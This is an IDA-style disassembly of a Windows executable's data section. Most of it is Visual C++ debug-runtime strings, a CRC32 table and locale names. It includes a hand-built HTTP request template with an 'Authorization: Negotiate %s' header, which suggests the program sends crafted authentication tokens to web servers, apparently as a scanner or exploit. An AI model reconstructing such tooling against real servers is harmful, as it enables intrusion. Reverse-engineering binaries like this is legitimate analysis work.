mov eax, offset dword_435398
jmp sub_4193A0
SEH_431790 endp
; ---------------------------------------------------------------------------
align 4
dword_432184 dd 3A0h dup(0)
dd 4725123Ch, 0
dd 2, 28h, 0
dd 47E00h
dword_43301C dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40BABA+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dbl_433458 dq 1.388888888888889e-2 ; DATA XREF: sub_40B8F7+2Fr
dbl_433460 dq 1.666666666666667e-1 ; DATA XREF: sub_40B8F7+15r
dbl_433468 dq 1.333333333333333 ; DATA XREF: sub_40B943+70r
dword_433470 dd 0FFFFFFFFh ; DATA XREF: sub_40BD61+13r
; sub_40BDDEr ...
dword_433474 dd 0 ; DATA XREF: sub_40C0C5o
dbl_433478 dq 9.765625e-4 ; DATA XREF: ___:0041131Ar
; ___:00411335r ...
dbl_433480 dq -3.0517578125e-5 ; DATA XREF: sub_4123FE+2Br
flt_433488 dd 9.765625e-4 ; DATA XREF: sub_413BB4+1AEr
flt_43348C dd 8.0 ; DATA XREF: sub_413BB4+1A8r
flt_433490 dd 0.0 ; DATA XREF: sub_413BB4+16Fr
flt_433494 dd 1.0e-3 ; DATA XREF: sub_413BB4+166r
dword_433498 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_414C60+1Do
; sub_414CF0+25o
dword_4334A4 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_414C60+14o
; ___:00419F7Do ...
dword_4334B4 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
; DATA XREF: sub_414CF0+1Co
; sub_418240+15o ...
dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree db 'Free',0 ; DATA XREF: ___:off_4438A0o
align 4
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_414EA0:loc_41500Ao
; sub_4152A0:loc_415420o
align 4
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_414EA0+11Bo
aS_25 db '%s',0 ; DATA XREF: sub_414EA0+BCo
; sub_414EA0+16Fo ...
align 10h
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_414EA0:loc_414F57o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_414EA0+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_414EA0+31o
; sub_4152A0+77o ...
align 4
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_414EA0+25o
; sub_4152A0+6Bo ...
align 4
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+499o
align 4
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_4152A0:loc_415686o
align 4
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_4152A0+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_4152A0:loc_4154B1o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4152A0+1B6o
; sub_415890+A8o ...
align 10h
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_4152A0+136o
align 10h
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_4152A0:loc_41539Fo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_4152A0+DCo
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415890+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_415890+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415890+29Co
; sub_415CA0+112o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_415890:loc_415AB4o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_415890+1E5o
; sub_415F70+249o
align 4
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_415890+17Fo
; sub_415F70+1ECo
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415890+10Ao
; sub_415CA0+C1o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415890:loc_4158FDo
align 4
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_415EE0+54o
align 4
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_415F70+31Eo
align 10h
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_415F70+2EBo
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_415F70+2A2o
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_415F70:loc_416128o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_415F70:loc_416082o
align 10h
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_415F70:loc_41605Ao
align 4
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_415F70:loc_416032o
align 4
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_415F70:loc_41600Ao
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_415F70:loc_415FDFo
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416570+11Bo
align 4
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_416570:loc_41657Fo
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: ___:loc_416702o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416810:loc_416A9Co
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_416810+250o
align 10h
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_416810+1F3o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_416810+188o
aLd db '{%ld} ',0 ; DATA XREF: sub_416810+139o
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_416810+111o
align 10h
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_416810+E0o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416810:loc_41682Ao
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_416AD0+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_416AD0+BFo
align 10h
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_416BF0:loc_416C24o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416D0Do
align 4
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416CE5o
align 4
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: ___:00416CBBo
align 4
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+95o
align 10h
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_416F50+67o
; sub_41E220+4Fo
align 10h
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+3Do
align 4
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_416F50+18o
; sub_416F50+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_416F50+Fo
align 4
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_4170D0+3Fo
; sub_4171D0+45o ...
align 4
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_4170D0+1Eo
; sub_4170D0+48o
align 4
aStringNull db 'string != NULL',0 ; DATA XREF: sub_4170D0+15o
; sub_4171D0+1Bo ...
align 4
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_4171D0+24o
; sub_4171D0+4Eo ...
align 4
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_418240+1Eo
; sub_418240+48o
align 10h
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_418340:loc_418364o
; sub_418340+4Eo
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_418AF0+24o
; sub_418AF0+4Eo
align 4
a_file_c db '_file.c',0 ; DATA XREF: sub_418D40+31o
; sub_418D40+65o
align 10h
dbl_433CA0 dq 1.0 ; DATA XREF: sub_418F70+99r
; sub_419190+99r ...
dword_433CA8 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_419B00+62o
dword_433CB4 dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_419BD0+2Eo
; sub_419CB0+8o
dword_433CC0 dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_419D80+32o
dword_433CCC dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_419D80+29o
dword_433CD8 dd 65657366h, 632E6Bh, 0FFFFFFFFh, 41A962h, 41A97Dh, 65737341h
; DATA XREF: ___:00419F86o
; sub_419FE0+19o
dd 6F697472h, 6146206Eh, 64656C69h, 0
aError db 'Error',0 ; DATA XREF: ___:00443BA8o
align 4
aWarning db 'Warning',0 ; DATA XREF: ___:off_443BA4o
aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41AB10+1FFo
asc_433D1C: ; DATA XREF: sub_41AB10:loc_41ACE6o
dw 0Ah
unicode 0, <>,0
asc_433D20: ; DATA XREF: sub_41AB10+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41AB10:loc_41AC85o
align 4
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41AB10+169o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: sub_41AB10+149o
; sub_41AB10+21Co ...
align 4
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: sub_41AB10+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41AB10+B6o
align 4
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41AB10+9Co
; sub_427610+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41AEA0+2C2o
align 4
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41AEA0+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_41AEA0+221o
db 'Module: ',0
align 4
aFile db 0Ah ; DATA XREF: sub_41AEA0+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_41AEA0+1AAo
db 'Line: ',0
asc_433E58 db 0Ah ; DATA XREF: sub_41AEA0+173o
; sub_426B80+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_41AEA0+153o
align 4
dword_433E6C dd 0 ; DATA XREF: sub_41AEA0:loc_41AFBAo
; sub_41AEA0:loc_41AFD9o ...
aForInformation db 0Ah ; DATA XREF: sub_41AEA0+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_41AEA0+9Co
; sub_41AEA0+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41AEA0+56o
; sub_426B80+EDo
align 10h
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41AEA0+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41AEA0+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41B2E0+15o
align 10h
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41B780+16o
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_41DB50+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_41E220+2Eo
; sub_41E220+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_41E220+25o
align 10h
aStream_c db 'stream.c',0 ; DATA XREF: sub_41E5B0+C1o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_41E730+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_41E730+18o
; sub_41E730+16Eo
align 4
byte_433FB8 db 6 ; DATA XREF: sub_41E9B0+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_443E8Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_443E88o
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_41E9B0+122o
align 4
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E9B0+116o
align 4
aTidtable_c db 'tidtable.c',0 ; DATA XREF: ___:0041F8B3o
; sub_41F970+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_420720+18o
; sub_420720+B2o ...
align 10h
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_420880+13o
align 4
aInput_c db 'input.c',0 ; DATA XREF: sub_420920+1Eo
; sub_420920+4Bo
aIoinit_c db 'ioinit.c',0 ; DATA XREF: ___:00421F1Bo
; ___:00422016o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 10h
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 10h
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 10h
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 10h
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 10h
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_444134o
dbl_434140 dq 0.0 ; DATA XREF: sub_422B10+D7r
; sub_422B10+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_423460+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_423460+6o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_423740:loc_4237B8o
align 4
dword_434178 dd 0FFFFFFFFh, 4241E9h, 4241F6h, 0 ; DATA XREF: sub_424150+5o
dword_434188 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424340+5o
dd offset sub_42441D
align 8
dd offset loc_4243DE
; ---------------------------------------------------------------------------
jmp short loc_4341E1
; ---------------------------------------------------------------------------
dw 42h
dword_4341A0 dd 0FFFFFFFFh, 42473Ch, 424742h, 0 ; DATA XREF: sub_4244E0+5o
dword_4341B0 dd 0FFFFFFFFh, 4247BEh, 4247CDh, 0 ; DATA XREF: sub_424760+5o
dword_4341C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424890+5o
dd offset sub_4248FE
align 10h
dd offset loc_4248E0
dd offset loc_4248E6
dword_4341D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424940+5o
; ---------------------------------------------------------------------------
stosb
loc_4341E1: ; CODE XREF: ___:0043419Cj
dec ecx
inc edx
; ---------------------------------------------------------------------------
db 0
align 8
dd offset loc_42498C
dd offset loc_424992
aLc_time db 'LC_TIME',0 ; DATA XREF: ___:004443BCo
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: ___:004443B0o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: ___:004443A4o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: ___:00444398o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: ___:0044438Co
align 4
aLc_all db 'LC_ALL',0 ; DATA XREF: ___:off_444380o
align 10h
asc_434230: ; DATA XREF: ___:loc_424B83o
; sub_424F60+83o
unicode 0, <;>,0
asc_434234 db '=;',0 ; DATA XREF: ___:loc_424AB1o
align 4
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_424DC0+3Eo
; sub_424F60+1Bo
align 4
asc_434244: ; DATA XREF: sub_424F60+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_425250:loc_4252C2o
a__1: ; DATA XREF: sub_4253B0+50o
; sub_42B250:loc_42B44Bo
unicode 0, <.>,0
a__2: ; DATA XREF: sub_4253B0+25o
unicode 0, <_>,0
aFtell_c db 'ftell.c',0 ; DATA XREF: ___:00425586o
; sub_4255E0+18o
dword_43425C dd 0 ; DATA XREF: sub_425B90+5Do
; sub_427D80+58o ...
dword_434260 dd 2 dup(0) ; DATA XREF: sub_425B90+35o
; sub_427D80+35o ...
dword_434268 dd 0FFFFFFFFh, 425CD6h, 425CDCh, 0FFFFFFFFh, 425DCCh, 425DD2h
; DATA XREF: sub_425B90+5o
dword_434280 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: ___:0042622Bo
; ___:004262A0o
dword_43428C dd 61647473h, 2E766772h, 63h ; DATA XREF: ___:00426392o
dword_434298 dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h
; DATA XREF: ___:00426918o
; ___:004269F6o
dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah
dd 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_444454o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_426B80+1A4o
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_426B80:loc_426CCAo
db 0Ah
db 'Program: ',0
align 10h
aWinsig_c db 'winsig.c',0 ; DATA XREF: ___:004271C1o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_427610+5Fo
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_427610:loc_42765Bo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_427610+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_4276D0+138o
align 4
dword_4345B8 dd 0FFFFFFFFh, 427EC4h, 427ECAh ; DATA XREF: sub_427D80+5o
dword_4345C4 dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_427F40+16o
; sub_427F40+48o
dword_4345D0 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_428790+21o
aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_428790+18o
align 10h
aUngetc_c db 'ungetc.c',0 ; DATA XREF: ___:00428D16o
; sub_428D70+16o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: sub_428F10+1D1o
aTz db 'TZ',0 ; DATA XREF: sub_428F10+35o
align 4
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42A8D0+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42B250+1CFo
; sub_42B250+215o ...
align 10h
aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42B580+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42B9E0+52o
; sub_42B9E0+6Bo ...
align 4
aParaguay db 'Paraguay',0 ; DATA XREF: ___:00444ABCo
align 4
aUruguay db 'Uruguay',0 ; DATA XREF: ___:00444A90o
aChile db 'Chile',0 ; DATA XREF: ___:00444A64o
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: ___:00444A38o
aArgentina db 'Argentina',0 ; DATA XREF: ___:00444A0Co
align 4
aPeru db 'Peru',0 ; DATA XREF: ___:004449E0o
align 10h
aColombia db 'Colombia',0 ; DATA XREF: ___:004449B4o
align 4
aVenezuela db 'Venezuela',0 ; DATA XREF: ___:00444988o
align 4
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: ___:0044495Co
align 4
aSouthAfrica db 'South Africa',0 ; DATA XREF: ___:00444930o
align 4
aPanama db 'Panama',0 ; DATA XREF: ___:00444904o
align 4
aLuxembourg db 'Luxembourg',0 ; DATA XREF: ___:004448D8o
align 10h
aCostaRica db 'Costa Rica',0 ; DATA XREF: ___:004448ACo
align 4
aSwitzerland db 'Switzerland',0 ; DATA XREF: ___:00444880o
aGuatemala db 'Guatemala',0 ; DATA XREF: ___:00444854o
align 4
aCanada db 'Canada',0 ; DATA XREF: ___:00444828o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: ___:004447F4o
align 4
aAustralia db 'Australia',0 ; DATA XREF: ___:004447D0o
align 10h
aEnglish db 'English',0 ; DATA XREF: ___:004447C8o
; ___:00444928o
aAustria db 'Austria',0 ; DATA XREF: ___:004447A4o
aGerman db 'German',0 ; DATA XREF: ___:0044479Co
align 4
aBelgium db 'Belgium',0 ; DATA XREF: ___:00444778o
aMexico db 'Mexico',0 ; DATA XREF: ___:0044474Co
align 4
aSpanish db 'Spanish',0 ; DATA XREF: ___:00444744o
; ___:0044484Co ...
aBasque db 'Basque',0 ; DATA XREF: ___:00444718o
align 4
aSweden db 'Sweden',0 ; DATA XREF: ___:004446F4o
align 10h
aSwedish db 'Swedish',0 ; DATA XREF: ___:004446ECo
aIceland db 'Iceland',0 ; DATA XREF: ___:004446C8o
aIcelandic db 'Icelandic',0 ; DATA XREF: ___:004446C0o
align 4
aFrance db 'France',0 ; DATA XREF: ___:0044469Co
align 4
aFrench db 'French',0 ; DATA XREF: ___:00444694o
; ___:00444770o ...
align 4
